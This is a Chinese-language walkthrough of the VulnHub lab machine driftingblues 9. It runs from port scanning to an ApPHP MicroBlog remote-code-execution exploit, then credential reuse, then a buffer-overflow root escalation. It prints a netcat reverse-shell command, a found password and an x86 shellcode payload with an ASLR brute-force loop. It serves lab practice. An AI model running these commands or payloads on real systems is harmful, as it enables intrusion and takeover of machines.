Vulnhub靶机：driftingblues 9

一、介绍

运行环境：Virtualbox

攻击机：kali（10.0.2.15）

靶机：driftingblues9（10.0.2.24）

目标：获取靶机root权限和flag

靶机下载地址：http://www.vulnhub.com/entry/driftingblues-9-final,695/

二、信息收集

使用nmap主机发现靶机ip：10.0.2.24

使用nmap端口扫描发现靶机开放端口：80、111

访问网站，发现该网站为pPHP MicroBlog搭建的

使用dirsearch工具进行目录爆破，发现/INSTALL.txt文件，访问可获得信息：ApPHP MicroBlog Free版本为: 1.0.1

三、漏洞利用

使用searchsploit查找该版本的cms是否有历史漏洞，发现远程代码执行漏洞

searchsploit apphp microblog         

将exp下载，运行，主机获取shell

searchsploit -m 33070.py
python2 33070.py http://10.0.2.24/index.php

反弹shell更加方便一点，使用nc反弹shell，并获取交互式shell

靶机：
nc -e /bin/bash 10.0.2.15 4444

攻击机：
nc -lvp 4444
python -c 'import pty; pty.spawn("/bin/bash")'

四、提权

使用sudo -l命令查看是否有特权命令，使用find / -perm -u=s -type f 2>/dev/null命令查看是否有什么可疑的具有root权限的文件，查看历史命令，查看计划任务…，都没有可利用的点

翻一翻靶机文件碰碰运气，发现在/home目录下存在clapton用户目录，没有权限访问

发现在/var/www/html/include目录下有个数据库文件，查看发现用户名密码：clapton\yaraklitepe

猜测该数据库密码为clapton用户的密码，尝试切换clapton用户su clapton，切换成功

访问/home/clapton的发现一个flag和提示信息

根据提示，打开网站，发现是讲解缓冲区溢出的文章，再根据当前路径下的input可执行文件，可以判断使用缓冲区溢出提权

• https://www.tenouk.com/Bufferoverflowc/Bufferoverflow6.html
• https://samsclass.info/127/proj/lbuf1.htm

额难办，没有半点pwn基础，参考网上的wp，边学边提权

首先将input程序移动到本机来（可以使用python在靶机搭建临时服务器），启动gdb使用cyclic工具（需要安装pwndbg插件）生成200个字符组成的字符串用于计算偏移量，为171

尝试在偏移量171溢出后情况，在溢出后的位置写入BBBB

r $(python -c 'print("A" * 171 + "B" * 4 )')

查看/proc/sys/kernel/randomize_va_space发现靶机开启了ASLR

ASLR（地址随机化）是一种针对缓冲区溢出的安全保护技术，通过对堆、栈、共享库映射等线性区布局的随机化，通过增加攻击者预测目的地址的难度，防止攻击者直接定位攻击代码位置，达到阻止溢出攻击的目的。

在靶机查看ESP寄存器的值

x/s $esp

用esp 寄存器的 0xbf99cc60替换 4 个 B，因为是小字节序，倒过来写，构造 payload：

r $(python -c 'print("A" * 171 + "\x60\xcc\x99\xbf" + "\x90"* 1000 + "\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80")')

因为靶机开启了ASLR，Libc 随机化仅限于 8 位，所以写个循环爆破（不知道是不是这样，没理解清楚）

for i in {1..10000}; do (./input $(python -c 'print("A" * 171 + "\x60\xcc\x99\xbf" + "\x90"* 1000 + "\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\xf7\xd6\x57\x56\x89\xe3\xb0\x0b\xcd\x80")')); done

获取root目录下的flag

没有基础太难受了

参考链接：
缓冲区溢出利用——捕获eip的傻瓜式指南 - r00tgrok - 博客园 (cnblogs.com)

VulnHub-driftingblues:9_driftingblues9-CSDN博客

ASLR机制及绕过策略-栈相关漏洞libc基址泄露 - 简书 (jianshu.com)

nop sled 空操作雪橇 - 哼哼先生 - 博客园 (cnblogs.com)

红队渗透测试之Lord Of The Root——缓冲区溢出 - FreeBuf网络安全行业门户

Vulnhub 靶场 DRIFTINGBLUES: 9 (FINAL) - sainet - 博客园 (cnblogs.com)